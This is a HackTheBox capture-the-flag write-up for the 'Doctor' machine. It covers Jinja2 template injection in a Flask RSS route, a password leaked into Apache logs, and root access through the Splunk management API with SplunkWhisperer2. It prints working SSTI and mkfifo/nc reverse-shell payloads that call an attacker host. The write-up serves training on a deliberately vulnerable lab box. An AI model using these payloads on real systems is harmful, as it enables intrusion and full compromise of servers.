# Doctor Writeup - HackTheBox

> Exploit SSTI in Doctor's messaging app via log poisoning, gain RCE as web user, then escalate via Splunk Universal Forwarder credentials.

- **URL:** https://hackindex.io/writeups/doctor
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/doctor?sort_by=created_at&sort_type=desc
- **Tags:** ssti, log-poisoning, rce, splunk, privilege-escalation
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

Doctor is a Linux box running a Flask application next to a Splunk instance. The chain runs: a hidden route that renders user messages into an RSS feed, Jinja2 template injection in that route, a password accidentally logged into an Apache access log, and the Splunk management API installing an app that runs as root.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:22
# Open $TARGET_IP:80
# Open $TARGET_IP:8089
```

```bash
nmap -p22,80,8089 $TARGET_IP -sCV -T4 -oA nmap/nmap
# PORT     STATE SERVICE     VERSION
# 22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
# 80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
# 8089/tcp open  ssl/unknown
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

SSH, Apache, and an SSL service on 8089 that nmap cannot name from the banner. That one is worth coming back to once the web application is exhausted. The site on 80 lists a contact address at `doctors.htb`, which is the real domain.

## Enumeration

### Virtual hosts

```bash
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://doctors.htb -H "Host: FUZZ.doctors.htb"
# www                     [Status: 302, Size: 237, Words: 22, Lines: 4]
```

`www.doctors.htb` redirects to a login page and allows self registration, so an account is a single form away. Inside, messages posted to the dashboard render as expected. The page source carries a route the developers hid rather than removed.

```html
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
```

`/archive` is still live and returns the posted messages as an RSS feed, with the message text dropped into the `title` element.

## Vulnerability Discovery

### Template injection

User input reaching a renderer that produces structured output is worth probing for server side template injection. Posting `{{7*7}}` as a message and reloading the feed answers it.

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>49</title></item>
</channel>
```

The expression was evaluated instead of printed, so the message text passes through Jinja2 before serialisation. Jinja2 runs on Python objects, and Flask hangs the application object off the request, which is the standard route out of the template sandbox and into arbitrary code.

## Exploitation

### From template to shell

```python
{{ request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"').read() }}
```

Each hop matters: `request.application` reaches the live Flask app, `__globals__` reaches the module namespace it was defined in, `__builtins__` reaches the builtins Jinja2 tries to keep out of templates, and `__import__` pulls in `os` without an import statement. Saving that as a message and loading `/archive` renders it, which executes it.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 50322
# bash: no job control in this shell
# web@doctor:~$ id
# uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
```

Foothold as `web`, and the account is in the `adm` group, which on Ubuntu exists to give non-root accounts read access to `/var/log`. That decides the next step.

## Lateral Movement

### Credentials in the logs

```bash
grep -R -e 'password' /var/log/
# /var/log/apache2/backup:$CLIENT_IP - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=$SHAUNS_PASSWORD" 500 453 "http://doctor.htb/reset_password"
# <snip>
```

The `email` parameter of a password reset holds something that is clearly not an email address. Someone typed a password into the wrong field and Apache logged the full query string. The site names `shaun` as a user, and the value works as his password.

```bash
su shaun
# Password:
# shaun@doctor:/var/log$ whoami
# shaun
```

## Privilege Escalation

### Identifying port 8089

```bash
nmap -p8089 $TARGET_IP -sCV
# PORT     STATE SERVICE  VERSION
# 8089/tcp open  ssl/http Splunkd httpd
# | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
# |_http-title: splunkd
```

That is the Splunk management API. It accepts app bundles over the network, and an app can carry a script that Splunk runs on install, so valid credentials on that port are equivalent to command execution. SplunkWhisperer2 automates the packaging and install.

Unauthenticated it refuses immediately.

```bash
python3 PySplunkWhisperer2_remote.py --host $TARGET_IP --port 8089 --lhost $ATTACKER_IP --lport $ATTACKER_PORT --payload id
# [.] Authenticating...
# Authentication failure
#
# <msg type="ERROR">Unauthorized</msg>
```

Splunk keeps its own account database, but the password from the log is worth trying there as well, since it already crossed one boundary on this box.

```bash
python3 PySplunkWhisperer2_remote.py --host $TARGET_IP --lhost $ATTACKER_IP --username shaun --password '$SHAUNS_PASSWORD' --payload id
# [.] Authenticating...
# [+] Authenticated
# [.] Creating malicious app bundle...
# [+] Created malicious app bundle in: /tmp/tmp_wjylygv.tar
# [+] Started HTTP server for remote mode
# [.] Installing app from: http://$ATTACKER_IP:8181/
# [+] App installed, your code should be running now!
```

Splunk runs as root here, which is common where it has to read privileged log sources, so the installed app executes as root. Swapping the payload for a named pipe reverse shell turns that into a session.

```bash
python3 PySplunkWhisperer2_remote.py --host $TARGET_IP --lhost $ATTACKER_IP --username shaun --password '$SHAUNS_PASSWORD' --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f'
# [.] Authenticating...
# [+] Authenticated
# [.] Installing app from: http://$ATTACKER_IP:8181/
# [+] App installed, your code should be running now!
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 53634
# sh: 0: can't access tty; job control turned off
# # whoami
# root
```

Root through the app install path. User, lateral movement and root are all covered.

Related

## References

- [SplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2) - Packages and installs a malicious Splunk app through the management API on 8089.
- [Jinja2 template documentation](https://jinja.palletsprojects.com/en/stable/templates/) - Reference for the expression syntax that made the {{7*7}} probe evaluate.
